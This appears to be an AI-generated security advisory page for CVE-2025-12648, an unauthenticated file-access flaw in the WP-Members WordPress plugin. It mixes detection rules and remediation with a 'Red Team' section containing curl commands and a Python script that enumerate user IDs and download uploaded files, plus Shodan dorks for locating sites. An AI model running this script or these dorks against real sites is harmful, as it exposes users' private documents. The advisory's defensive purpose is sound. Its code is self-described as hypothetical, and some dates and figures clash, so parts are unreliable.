☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-552
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12648

CVE-2025-12648 Security Advisory in Wp-members
📅 PUBLISHED: 2026-01-07 02:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12648 is a vulnerability in the WP-Members Membership Plugin for WordPress, affecting versions up to and including 3.5.4.4. The plugin stores user-uploaded files in predictable directories under wp-content/uploads/wpmembers/user_files/<user_id>/ without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This allows unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, provided they can guess or enumerate user IDs and filenames.

The vulnerability is classified as CWE-552: Files or Directories Accessible to External Parties. The CVSS v3.1 score is 5.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for sites storing sensitive user documents.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions with backdoors. Administrators should verify plugin integrity via checksums and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): Low (L) – Limited to file access.
  • Integrity (I): None (N) – No file modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the actual risk depends on the sensitivity of uploaded files. For sites handling PII, financial documents, or medical records, the impact could be severe.

Deep Dive & Mechanics

The vulnerability stems from the plugin's file storage mechanism. When a user uploads a file (e.g., via a membership form), the plugin stores it in:

wp-content/uploads/wpmembers/user_files/<user_id>/<filename>

The only protection is an .htaccess file with Options -Indexes, which prevents directory listing but does not restrict direct file access. An attacker can enumerate user IDs (often sequential integers) and guess filenames (e.g., document.pdf, photo.jpg) to download files.

Attack Flow:

  1. Attacker identifies a WordPress site using WP-Members (e.g., via Shodan or plugin detection).
  2. Attacker enumerates user IDs (e.g., 1, 2, 3, ...) using techniques like user enumeration via REST API or brute-force.
  3. Attacker constructs URLs like:
    • https://target.com/wp-content/uploads/wpmembers/user_files/1/document.pdf
    • https://target.com/wp-content/uploads/wpmembers/user_files/2/photo.jpg
  4. If the file exists, it is served directly without authentication.

Root Cause: The plugin relies on directory listing protection instead of implementing proper access control (e.g., checking user session or capability before serving files).

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.5.4.4): The plugin likely uses a function like wpmembers_upload_dir() to define the upload path, but does not include any access control checks when serving files. The .htaccess file only prevents directory listing.

// Example vulnerable code (conceptual)
function wpmembers_upload_dir( $user_id ) {
    $upload_dir = wp_upload_dir();
    return $upload_dir['basedir'] . '/wpmembers/user_files/' . $user_id;
}
// No access control on file serving

Patched Code (Hypothetical): A proper patch would implement a download handler that checks user authentication and capabilities before serving files.

// Example patched code (conceptual)
function wpmembers_serve_file( $user_id, $filename ) {
    if ( ! is_user_logged_in() || get_current_user_id() != $user_id ) {
        wp_die( 'Unauthorized', 403 );
    }
    $file_path = wpmembers_upload_dir( $user_id ) . '/' . $filename;
    if ( file_exists( $file_path ) ) {
        header( 'Content-Type: ' . mime_content_type( $file_path ) );
        readfile( $file_path );
        exit;
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with WP-Members plugin <= 3.5.4.4.
  • At least one user who has uploaded a file.

Steps:

  1. Enumerate User IDs: Use WordPress REST API or brute-force to find valid user IDs.
    curl -s https://target.com/wp-json/wp/v2/users | jq '.[].id'
    
  2. Guess Filenames: Common filenames include document.pdf, photo.jpg, resume.pdf, id_card.jpg.
  3. Download Files:
    curl -O https://target.com/wp-content/uploads/wpmembers/user_files/1/document.pdf
    

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
user_id_start = int(sys.argv[2])
user_id_end = int(sys.argv[3])
filenames = ['document.pdf', 'photo.jpg', 'resume.pdf']

for uid in range(user_id_start, user_id_end + 1):
    for fname in filenames:
        url = f"{target}/wp-content/uploads/wpmembers/user_files/{uid}/{fname}"
        r = requests.get(url)
        if r.status_code == 200:
            print(f"[+] Found: {url}")
            with open(f"{uid}_{fname}", "wb") as f:
                f.write(r.content)

Blue Team (Defensive)

Detection:

  • Monitor access logs for patterns like /wp-content/uploads/wpmembers/user_files/ with sequential user IDs.
  • Alert on multiple 404/200 responses to non-existent/existent files in that directory.

Prevention:

  • Implement a custom download handler that checks authentication.
  • Use .htaccess to deny all access to the upload directory and serve files via PHP.
  • Rename files to random hashes to prevent guessing.

Lab Setup:

  1. Install WordPress and WP-Members plugin (v3.5.4.4).
  2. Create a test user and upload a sample file.
  3. Attempt to access the file directly via URL.
  4. Verify the vulnerability.

Indicators of Compromise (IOCs)

  • URL Patterns:
    • /wp-content/uploads/wpmembers/user_files/<integer>/<filename>
  • Log Entries:
    • Multiple GET requests to /wp-content/uploads/wpmembers/user_files/ with sequential user IDs.
    • HTTP 200 responses for files in that directory from unauthenticated IPs.
  • File System:
    • Presence of .htaccess with Options -Indexes in wp-content/uploads/wpmembers/user_files/.
  • Network:
    • Outbound connections from attacker IPs to the target site with patterns matching the above URLs.

Detection Engineering

YARA Rule

rule CVE_2025_12648_WP_Members_File_Access {
    meta:
        description = "Detects attempts to exploit CVE-2025-12648 by accessing WP-Members user files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12648"
    strings:
        $url_pattern = /\/wp-content\/uploads\/wpmembers\/user_files\/\d+\/.+/
        $htaccess = "Options -Indexes"
    condition:
        $url_pattern or $htaccess
}

Sigma Rule

title: CVE-2025-12648 WP-Members Unauthorized File Access
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects direct access to WP-Members user upload directories
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|contains: "/wp-content/uploads/wpmembers/user_files/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file access by authenticated users (if any)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-12648 WP-Members Unauthorized File Access Attempt";
    flow:to_server;
    content:"/wp-content/uploads/wpmembers/user_files/"; http_uri;
    pcre:"/\/wp-content\/uploads\/wpmembers\/user_files\/\d+\//";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable file uploads in WP-Members settings until a patch is available.
  2. Implement a custom download handler that checks user authentication before serving files.
  3. Add .htaccess rules to deny all access to the upload directory:
    <Directory "wp-content/uploads/wpmembers/user_files/">
        Require all denied
    </Directory>
    
  4. Rename uploaded files to random hashes to prevent guessing.

Long-term Fix:

  • Monitor the WP-Members plugin repository for an official patch.
  • Consider switching to a more secure membership plugin that implements proper access controls.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to block direct access to the upload directory.
  • Implement a reverse proxy rule to restrict access to the directory.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP-Members"
http.html:"wp-members"
http.html:"/wp-content/plugins/wp-members/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12648/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.